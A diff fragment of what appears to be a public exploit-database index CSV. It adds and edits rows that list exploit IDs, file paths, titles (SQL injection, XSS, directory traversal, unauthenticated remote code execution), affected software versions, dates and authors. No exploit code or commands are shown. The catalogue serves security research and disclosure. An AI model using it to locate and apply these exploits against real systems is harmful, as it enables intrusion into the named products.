Bypass",2019-04-08,isdampe,webapps,php,80 -46674,exploits/java/webapps/46674.txt,"ManageEngine ServiceDesk Plus 9.3 - User Enumeration",2019-04-08,"Alexander Bluestein",webapps,java, +46674,exploits/java/webapps/46674.txt,"ManageEngine ServiceDesk Plus 9.3 - User Enumeration",2019-04-08,Operat0r,webapps,java, +48177,exploits/php/webapps/48177.txt,"60CycleCMS - 'news.php' SQL Injection",2020-03-09,Unkn0wn,webapps,php, 46681,exploits/php/webapps/46681.txt,"Ashop Shopping Cart Software - 'bannedcustomers.php?blacklistitemid' SQL Injection",2019-04-09,"Doğukan Karaciğer",webapps,php,80 46684,exploits/php/webapps/46684.py,"Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Unauthenticated Remote Code Execution",2019-04-10,"Julien Ahrens",webapps,php,443 46687,exploits/hardware/webapps/46687.txt,"D-Link DI-524 V2.06RU - Multiple Cross-Site Scripting",2019-04-10,"Semen Alexandrovich Lyhin",webapps,hardware,80 @@ -41960,7 +41968,7 @@ id,file,description,date,author,type,platform,port 47059,exploits/linux/webapps/47059.txt,"PowerPanel Business Edition - Cross-Site Scripting",2019-07-01,"Joey Lane",webapps,linux, 47060,exploits/php/webapps/47060.txt,"ZoneMinder 1.32.3 - Cross-Site Scripting",2019-07-01,"Joey Lane",webapps,php, 47061,exploits/multiple/webapps/47061.txt,"SAP Crystal Reports - Information Disclosure",2019-07-01,"Mohamed M.Fouad",webapps,multiple, -47062,exploits/multiple/webapps/47062.py,"Sahi pro 8.x - Directory Traversal",2019-07-01,"Alexander Bluestein",webapps,multiple, +47062,exploits/multiple/webapps/47062.py,"Sahi pro 8.x - Directory Traversal",2019-07-01,Operat0r,webapps,multiple, 47063,exploits/multiple/webapps/47063.html,"CyberPanel 1.8.4 - Cross-Site Request Forgery",2019-07-01,"Bilgi Birikim Sistemleri",webapps,multiple, 47064,exploits/hardware/webapps/47064.txt,"FaceSentry Access Control System 6.4.8 - Remote Command Injection",2019-07-01,LiquidWorm,webapps,hardware, 47065,exploits/hardware/webapps/47065.txt,"FaceSentry Access Control System 6.4.8 - Cross-Site Request Forgery",2019-07-01,LiquidWorm,webapps,hardware, @@ -42440,3 +42448,4 @@ id,file,description,date,author,type,platform,port 48164,exploits/hardware/webapps/48164.txt,"RICOH Aficio SP 5210SF Printer - 'entryNameIn' HTML Injection",2020-03-03,"Olga Villagran",webapps,hardware, 48166,exploits/php/webapps/48166.txt,"UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read",2020-03-04,NgoAnhDuc,webapps,php, 48176,exploits/multiple/webapps/48176.py,"ManageEngine Desktop Central - 'FileStorage getChartImage' Deserialization / Unauthenticated Remote Code Execution",2019-12-12,mr_me,webapps,multiple, +48179,exploits/php/webapps/48179.txt,"Sentrifugo HRMS 3.2 - 'id' SQL Injection",2020-03-09,minhnb,webapps,php,